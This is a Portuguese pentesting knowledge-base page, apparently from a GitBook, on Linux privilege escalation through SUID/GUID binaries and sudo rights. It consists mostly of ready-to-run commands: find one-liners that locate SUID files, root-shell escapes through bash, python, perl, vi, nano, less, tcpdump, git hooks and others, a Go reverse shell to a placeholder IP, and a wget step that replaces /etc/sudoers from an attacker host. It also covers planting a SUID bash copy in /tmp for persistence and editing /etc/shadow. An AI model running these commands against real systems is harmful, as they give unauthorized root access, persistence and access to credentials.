> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/linux/privilege-escalation/suid-guid.md).

# SUID / GUID

### Conceito

Quando temos o caractere `s` em vez de `x` indica que o bit `SUID` está ativo. Exemplo:

```bash
-rwsr-xr-x 1 root  root    48 Aug  7 17:03 arquivo_teste
```

Para encontrar arquivo com `SUID` ativo, execute:

```bash
find / -perm -u=s -type f -exec ls -lh {} \; 2>/dev/null
```

E para localizar arquivo com `GUID`:

```bash
find / -perm -g=s -type f -exec ls -lh {} \; 2>/dev/null
```

### Procurando por Arquivos com Permissões Elevadas

```bash
# Permissão SUID
# Procurando por binários que possuem o setuid ativo
find / -perm -4000 -ls 2> /dev/null
find / -perm -4000 -type f -ls 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -4000 -exec ls -al -print 2>/dev/null {} \;

# Procurando por arquivo do root que possuem suidbit ativo
find / -user root -type f -perm -4000 -ls 2>/dev/null

find / -perm -u=s -type f -ls 2>/dev/null
find / -perm -u=s 2>/dev/null

# Arquivos do root com permissão de escrita
find / -type f -user root -perm -o+w -ls 2>/dev/null
# Arquivos do root com permissão de leitura
find / -type f -perm -o+r -ls 2>/dev/null

# Arquivos com SUID bit que podem ser executados por outros usuários
find / -uid 0 -perm -4000 -type f 2>/dev/null
find / -type f -user root -perm /u+s -ls 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -group root 2>/dev/null

# Arquivos com permissão de execução
find / -xdev (-perm 4000) -type f -print0 -exec ls -s {} \;

# Permissão GUID
find / -type f -perm -02000 -ls 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# Arquivos que pertecem ao usuário atual
find / -type f -user $(whoami) -ls 2>/dev/null

# Arquivos disponíveis para leitura e gravação
find / -perm 2 ! -type l -ls 2>/dev/null

# Arquivos graváveis por qualquer usuário
find / -perm -2 -type f -print 2>/dev/null

# Sticky Bit - Somente o proprietário do diretório ou o proprietário de um arquivo pode excluir ou renomear aqui
find / -perm -1000 -type d 2>/dev/null

# GUID (chmod 2000) - Executa como o grupo e não com o usuário que o iniciou
find / -perm -g=s -type f 2>/dev/null

# GUID or SUID
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null

# Procurando em lugares "comuns": /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin e qualquer outro *bin, com GUID ou SUID (Quicker search)
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done

# Iniciando a partir da raiz (/), GUID ou SUID, que não são Links Simbólicos, com apenas 3 diretórios, listando com mais detalhes e ocultando os erros, por exemplo: permissão negada
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
```

Caso ache alguma linguagem de programação com permissões de root, utilize-a para chamar uma shell. Todos esses arquivos, estão vulneráveis a PrivEsc, caso tenha permissões incorretas: `xxd`, `vi`, `more`, `less`, `cp`, `cat`, `bash`, `ash`, `sh`, `csh`, `curl`, `dash`, `pico`, `nano`, `vrim`, `tclsh`, `git`, `scp`, `expect`, `ftp`, `socat`, `script`, `ssh`, `zsh`, `tclsh`, `strace`, `npm`, `rsync`, `tar`, `Screen-4.5.00`.

### Bash

{% hint style="success" %}
**DICA**: Sempre que conseguir ter acesso root, podemos fazer uma cópia do bash com SUID ativo para acessarmos diretamente. Para isso basta executar os comandos: **cp /bin/bash /tmp/bash; chmod +s /tmp/bash ; /tmp/bash**
{% endhint %}

Para deixar o bash com o SUID bit ativo, pdoemos utilizar um dos seguintes comandos:

<pre class="language-bash"><code class="lang-bash"><strong>chmod 7777 /bin/bash
</strong>chmod u+s /bin/bash
chmod 4711 /bin/bash
chmod 2711 /bin/bash
<strong>chmod %2bs /bin/bash
</strong></code></pre>

Após isso, basta acessar o bash com permissão elevadas.

```bash
bash -p
</path/to/bash> -p
```

###

### **Python**

```bash
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

### Perl

```bash
perl -e 'exec "/bin/sh"'
perl -e 'print `/bin/bash`'
perl -e 'system("/bin/bash")'
```

### Go Lang

Crie um arquivo chamado `exploit.go` com o seguinte conteúdo.

```bash
package main

import ("os/exec")

func main() {
    exec.Command("bash", "-c", "bash -i >& /dev/tcp/<ip>/<port> 0>&1").Run()
}
```

Agora execute.

```bash
sudo /usr/local/go/bin/go run exploit.go
```

### systemctl

O `systemctl` é responsável por gerenciar serviços (inicializar, parar, ver status, etc) e quando temos eles com o SUID ativo (vide abaixo), podemos executar como se fôssemos o root

```bash
-rwsr-x--- 1 root <common_user> 174K Feb 17 03:22 /bin/systemctl
```

Seguindo isso podemos então, criar um serviço próprio e dar um start nele em nome do root.\
Primeiro vamos criar o nosso serviço em um arquivo chamado `vuln.service`.

```bash
[Unit]
Description=ShellRoot
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=1
User=root
ExecStart=<command>
ExecReload=<command>

[Install]
WantedBy=multi-user.target
Alias=vuln.service
```

No `<command>` podemos utiizar uma shell reversa, algum arquivo python (ou qualquer outra linguagem) que contenha uma shell reversa. Ou se preferir, simplesmente executar um comando em específico.

Execute os comandos

```bash
systemctl enable </path/to/vuln.service>
systemctl start vuln.service
```

**OBS.:** Isso deve gerar um Link Simbólico para o serviço. Caso não dê certo, utilize o caminho completo do `systemctl`, que pode ser obtido através do comando `which systemctl`.

### suid-env

Geralmente este está localizado em `/usr/local/bin/suid-env`.

```bash
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/exploit.c
gcc /tmp/exploit.c -o /tmp/exploit
export PATH=/tmp:$PATH
/usr/local/bin/suid-env
id
```

### dpkg

```bash
sudo dpkg -l
!/bin/sh
```

### VI

Caso o VI possa ser executado como root, podemos escalar privilégios digitando um dos comandos abaixo que irá abrir uma shell com acesso root:

```bash
(esc) :!bash
(esc) :!sh
(esc) :shell
```

Se preferir, também é possível realizar esse processo em um só comando

```bash
sudo /usr/bin/vi teste -c ':!bash'
```

### nano

```bash
sudo nano <file>
```

Depois de abrir o `nano`, pressione `CTRL`+`R`, `CTRL`+`X`, e depois execute:

```bash
reset; sh 1>&0 2>&0
```

### find

```bash
find / -exec /bin/bash \;
find / -exec /bin/bash -p \;
find / -exec /bin/sh -p \; -quit
```

###

### awk

```bash
# Acesso ao bash
awk 'BEGIN {system("/bin/bash")}'

# Lendo arquivos
awk '{print}' <path/file>
```

###

### cp/mv

Copie o arquivo `/etc/shadow` para a `/tmp`, altere-o dando permissão de acesso ou alterando a senha e copie de voltar para o seu lugar.\
O mesmo também pode ser feito com o arquivo `/etc/sudoers`

###

### find

```bash
sudo find / -exec bash -i \;
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
```

###

### less/more

Com o `less` ou `more` é possível ir para o `vi` e depois acessar o shell.\
Execute o comando `less` ou `more` em um arquivo que seja maior que sua tela, assim irá aparecer as opções de comando no final da tela

```bash
sudo less /etc/shadow
!/bin/bash

# Ou
sudo less /etc/shadow
v
:shell
```

### man

```bash
sudo man man
!/bin/sh
```

### FTP

Para chamar uma shell interativa, execute o comando abaixo, depois de acessar via FTP.

```bash
!/bin/sh
```

### wget

Execute os seguintes comandos:

```bash
echo '<user> ALL = (root) NOPASSWD: /bin/sh' > /etc/sudoers
python -m SimpleHTTPServer
```

Agora no host alvo, execute:

```bash
sudo wget http://<ip_atacante>:8000/sudoers -O /etc/sudoers
```

### socat

```bash
sudo socat stdin exec:/bin/sh
```

### tcpdump

```bash
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
```

O `-Z root` é necessário nas distribuições baseadas no RedHat (Fedora, CentOS etc), pois corrigem o pacote tcpdump para eliminar privilégios de root antes de manipular os arquivos de salvamento.

### git pull

Note que para este cenário, precisamos da permissão para executar somente o `git pull`, e não somente o `git`.

```bash
cd </path/to/repository>
vi .git/hooks/post-merge
# Insira o código de alguma reverse shell ou o código que deseja executar como root
chmod +x .git/hooks/post-merge
```

Agora é preciso realizar alguma alteração no repositório e mergear com a branch atual (pode ser a `master`) e depois execute o comando abaixo para executar o código de `.git/hooks/post-merge` como `root`

```bash
sudo git pull
```

### strace

```bash
# Escreva e compile um binary C++ com SUID
strace chown root:root suid
strace chmod u+s suid
./suid
```

###

### npm

```bash
ln -s /etc/shadow package.json && sudo /usr/bin/npm i *
```

### journalctl

```bash
sudo journalctl
```

Assim o terminal exibir a execução, execute:

```bash
!/bin/sh.
```